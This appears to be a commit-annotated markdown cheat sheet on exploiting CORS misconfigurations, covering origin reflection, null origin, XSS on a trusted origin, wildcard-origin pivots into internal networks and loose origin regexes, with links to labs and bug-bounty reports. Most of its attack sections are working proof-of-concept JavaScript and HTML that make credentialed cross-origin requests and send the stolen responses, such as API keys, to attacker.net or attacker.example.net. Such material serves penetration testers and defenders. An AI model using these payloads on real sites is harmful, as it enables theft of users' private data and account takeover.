2020-04-12 12:29:10 +00:00
# CORS Misconfiguration
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’ s site using the victim’ s credentials.
2024-11-09 22:01:39 +00:00
2020-04-12 12:29:10 +00:00
## Summary
2020-05-24 12:09:46 +00:00
* [Tools ](#tools )
2024-11-09 22:01:39 +00:00
* [Requirements ](#requirements )
2024-11-10 10:18:46 +00:00
* [Methodology ](#methodology )
2024-11-09 22:01:39 +00:00
* [Origin Reflection ](#origin-reflection )
* [Null Origin ](#null-origin )
* [XSS on Trusted Origin ](#xss-on-trusted-origin )
2024-11-24 12:44:55 +00:00
* [Wildcard Origin without Credentials ](#wildcard-origin-without-credentials )
2024-11-09 22:01:39 +00:00
* [Expanding the Origin ](#expanding-the-origin )
* [Labs ](#labs )
2020-04-12 12:29:10 +00:00
* [References ](#references )
2024-11-09 22:01:39 +00:00
2020-05-24 12:09:46 +00:00
## Tools
2024-11-24 12:44:55 +00:00
* [s0md3v/Corsy ](https://github.com/s0md3v/Corsy/ ) - CORS Misconfiguration Scanner
* [chenjj/CORScanner ](https://github.com/chenjj/CORScanner ) - Fast CORS misconfiguration vulnerabilities scanner
* [@honoki/PostMessage ](https://tools.honoki.net/postmessage.html ) - POC Builder
* [trufflesecurity/of-cors ](https://github.com/trufflesecurity/of-cors ) - Exploit CORS misconfigurations on the internal networks
* [omranisecurity/CorsOne ](https://github.com/omranisecurity/CorsOne ) - Fast CORS Misconfiguration Discovery Tool
2022-11-07 09:10:21 +00:00
2024-11-09 22:01:39 +00:00
## Requirements
2020-10-25 13:01:53 +00:00
* BURP HEADER> `Origin: https://evil.com`
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
2020-04-12 12:29:10 +00:00
2024-11-09 22:01:39 +00:00
2024-11-10 10:18:46 +00:00
## Methodology
2020-04-12 12:29:10 +00:00
2020-10-25 10:07:50 +00:00
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint` .
2020-04-12 12:29:10 +00:00
2024-11-09 22:01:39 +00:00
### Origin Reflection
2020-04-12 12:29:10 +00:00
#### Vulnerable Implementation
```powershell
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"[private API key]"}
```
2024-11-28 20:36:01 +00:00
#### Proof Of Concept
2020-04-12 12:29:10 +00:00
2020-10-25 10:07:50 +00:00
This PoC requires that the respective JS script is hosted at `evil.com`
2020-04-12 12:29:10 +00:00
```js
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
2024-09-16 16:05:54 +00:00
location='//attacker.net/log?key='+this.responseText;
2020-04-12 12:29:10 +00:00
};
```
or
```html
< html >
< body >
< h2 > CORS PoC< / h2 >
< div id = "demo" >
< button type = "button" onclick = "cors()" > Exploit< / button >
< / div >
< script >
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 & & this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET",
"https://victim.example.com/endpoint", true);
xhr.withCredentials = true;
xhr.send();
}
< / script >
< / body >
< / html >
```
2024-11-09 22:01:39 +00:00
### Null Origin
2020-04-12 12:29:10 +00:00
#### Vulnerable Implementation
It's possible that the server does not reflect the complete `Origin` header but
that the `null` origin is allowed. This would look like this in the server's
response:
```
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: null
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
{"[private API key]"}
```
2024-11-28 20:36:01 +00:00
#### Proof Of Concept
2020-04-12 12:29:10 +00:00
This can be exploited by putting the attack code into an iframe using the data
URI scheme. If the data URI scheme is used, the browser will use the `null`
origin in the request:
```html
< iframe sandbox = "allow-scripts allow-top-navigation allow-forms" src = "data:text/html, < script >
2020-12-12 17:34:10 +00:00
var req = new XMLHttpRequest();
2020-04-12 12:29:10 +00:00
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
2020-04-12 12:38:52 +00:00
location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
2020-04-12 12:29:10 +00:00
};
< / script > ">< / iframe >
```
2024-11-09 22:01:39 +00:00
### XSS on Trusted Origin
2020-04-12 12:55:05 +00:00
If the application does implement a strict whitelist of allowed origins, the
exploit codes from above do not work. But if you have an XSS on a trusted
origin, you can inject the exploit coded from above in order to exploit CORS
again.
```
https://trusted-origin.example.com/?xss=< script > CORS - ATTACK - PAYLOAD < / script >
```
2024-11-24 12:44:55 +00:00
### Wildcard Origin without Credentials
2020-04-12 13:06:28 +00:00
2020-10-06 21:17:34 +00:00
If the server responds with a wildcard origin `*` , **the browser does never send
the cookies**. However, if the server does not require authentication, it's still
2020-04-12 13:06:28 +00:00
possible to access the data on the server. This can happen on internal servers
2020-10-06 21:17:34 +00:00
that are not accessible from the Internet. The attacker's website can then
pivot into the internal network and access the server's data without authentication.
```powershell
* is the only wildcard origin
https://*.example.com is not valid
```
2020-04-12 13:06:28 +00:00
#### Vulnerable Implementation
```powershell
GET /endpoint HTTP/1.1
Host: api.internal.example.com
Origin: https://evil.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"[private API key]"}
```
2024-11-28 20:36:01 +00:00
#### Proof Of Concept
2020-04-12 13:06:28 +00:00
```js
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.internal.example.com/endpoint',true);
req.send();
function reqListener() {
2024-09-16 16:05:54 +00:00
location='//attacker.net/log?key='+this.responseText;
2020-04-12 13:06:28 +00:00
};
```
2024-11-09 22:01:39 +00:00
### Expanding the Origin
2020-12-12 17:34:10 +00:00
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
2020-10-25 10:07:50 +00:00
#### Vulnerable Implementation (Example 1)
In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
```
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://evilexample.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilexample.com
Access-Control-Allow-Credentials: true
{"[private API key]"}
```
2024-11-28 20:36:01 +00:00
#### Proof of Concept (Example 1)
2020-10-25 10:07:50 +00:00
This PoC requires the respective JS script to be hosted at `evilexample.com`
```js
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
2024-09-16 16:05:54 +00:00
location='//attacker.net/log?key='+this.responseText;
2020-10-25 10:07:50 +00:00
};
```
#### Vulnerable Implementation (Example 2)
In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$` . Thus, the dot can be replaced with any letter to gain access from a third-party domain.
```
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://apiiexample.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://apiiexample.com
Access-Control-Allow-Credentials: true
{"[private API key]"}
```
#### Proof of concept (Example 2)
This PoC requires the respective JS script to be hosted at `apiiexample.com`
```js
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
2024-09-16 16:05:54 +00:00
location='//attacker.net/log?key='+this.responseText;
2020-10-25 10:07:50 +00:00
};
```
2022-10-01 19:56:49 +00:00
2024-11-09 22:01:39 +00:00
## Labs
2022-10-01 19:56:49 +00:00
2024-11-09 22:01:39 +00:00
* [PortSwigger - CORS vulnerability with basic origin reflection ](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack )
* [PortSwigger - CORS vulnerability with trusted null origin ](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack )
* [PortSwigger - CORS vulnerability with trusted insecure protocols ](https://portswigger.net/web-security/cors/lab-breaking-https-attack )
* [PortSwigger - CORS vulnerability with internal network pivot attack ](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack )
2020-04-12 12:29:10 +00:00
## References
2024-11-09 22:01:39 +00:00
- [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
2024-11-04 17:00:07 +00:00
- [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018 ](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/ )
2024-11-09 22:01:39 +00:00
- [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018 ](https://hackerone.com/reports/426147 )
- [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018 ](https://hackerone.com/reports/430249 )
- [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016 ](https://hackerone.com/reports/168574 )
2024-11-24 12:44:55 +00:00
- [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018 ](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/ )
2024-11-04 17:00:07 +00:00
- [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019 ](https://portswigger.net/web-security/cors )
2024-11-09 22:01:39 +00:00
- [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017 ](https://hackerone.com/reports/235200 )
- [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016 ](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties )
- [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016 ](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/ )
- [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019 ](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397 )